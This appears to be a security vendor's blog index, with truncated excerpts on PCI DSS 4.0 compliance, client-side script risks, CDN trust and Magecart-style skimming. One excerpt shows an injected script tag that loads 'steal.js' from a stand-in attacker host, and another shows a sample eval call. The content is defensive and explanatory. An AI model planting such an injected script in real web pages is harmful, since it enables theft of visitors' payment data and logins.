Introduction A PCI DSS audit can be demanding, especially with new requirements introduced in version 4.0. Instead of manually collecting disparate logs and screenshots, you can streamline much of the evidence-gathering with Breachfin. This blog explains how Breachfin’s features help you meet specific PCI DSS requirements, document proof, and respond confidently to QSA inquiries. Relevant…
Introduction Many e-commerce merchants underestimate the scope of their PCI compliance responsibilities, misclassifying themselves under the wrong Self-Assessment Questionnaire (SAQ). The most common confusion is between SAQ A and SAQ A-EP. Misclassification can lead to security blind spots and failed audits. Here’s how to identify your true category and what each requires. SAQ A: Fully…
Introduction PCI DSS version 4.0 is now the standard, and its most impactful changes go live in March 2025. For businesses that handle cardholder data, whether directly or indirectly, these deadlines carry significant operational and security implications. This blog outlines the major changes, what’s already required, and what becomes mandatory in 2025. Key Timeline Critical…
Your SIEM, WAF, and EDR tools work overtime to protect your infrastructure. But what about your browser layer? Here’s the difference: Layer Server-Side Tools Client-Side Monitoring (Breachfin) Sees Requests ✅ Yes 🚫 No Sees Scripts 🚫 No ✅ Yes DOM Changes 🚫 No ✅ Yes Real User View 🚫 No ✅ Yes Detects Magecart 🚫…
Some JavaScript functions are just more dangerous.These 5 are common in obfuscated, injected, or malicious scripts: 1. eval() Executes any string as JavaScript. eval(“alert(‘hacked’)”); 🔴 Widely abused in skimmers and obfuscation layers. 2. Function() Dynamic code constructor. let f = new Function(“return 2+2”); 🔴 Same risks as eval, harder to detect. 3. setTimeout() with strings…
You probably use CDNs like: These offer performance and reliability — but they also introduce third-party trust risks. How CDNs Become Attack Vectors CDNs host code — not security teams.If one of the following happens: Your site will load malicious code immediately, no deploy required. The Breachfin Approach We treat CDNs as external attack surfaces:…
Inline scripts seem harmless. You’ve seen them: <button onclick=”checkout()”>Pay Now</button> But this convenience can come at a high cost. The Security Problem That’s why modern security policies discourage or block inline code. External Scripts: Safer, But Not Immune External scripts: <script src=”https://cdn.example.com/main.js”></script> ✅ Can be hashed✅ Can be gated via CSP✅ Can be audited over…
One Line Is All It Takes When we think of breaches, we imagine massive payloads or complex exploits. But in the client-side world, it often comes down to one dangerous line: <script src=”https://attacker.com/steal.js”></script> That’s it.A single injected <script> tag can: And worst of all — it often looks like any other third-party tag. Real-World Example:…
Measuring Risk is the First Step to Reducing It Security teams are flooded with alerts — but which issues deserve priority? That’s why Breachfin assigns a Web Risk Score to every domain, scan, and event. It’s your simple, consistent way to track progress, report to leadership, and spot high-risk areas instantly. What Goes Into the…
Your SIEM Can’t Stop What It Doesn’t See SIEMs are the heart of your threat detection strategy. They ingest logs, trigger alerts, and give your SOC a single pane of glass.But most SIEMs lack visibility into one crucial domain:Client-side integrity. That’s where Breachfin comes in. By integrating Breachfin’s alerts and insights with your SIEM, you…
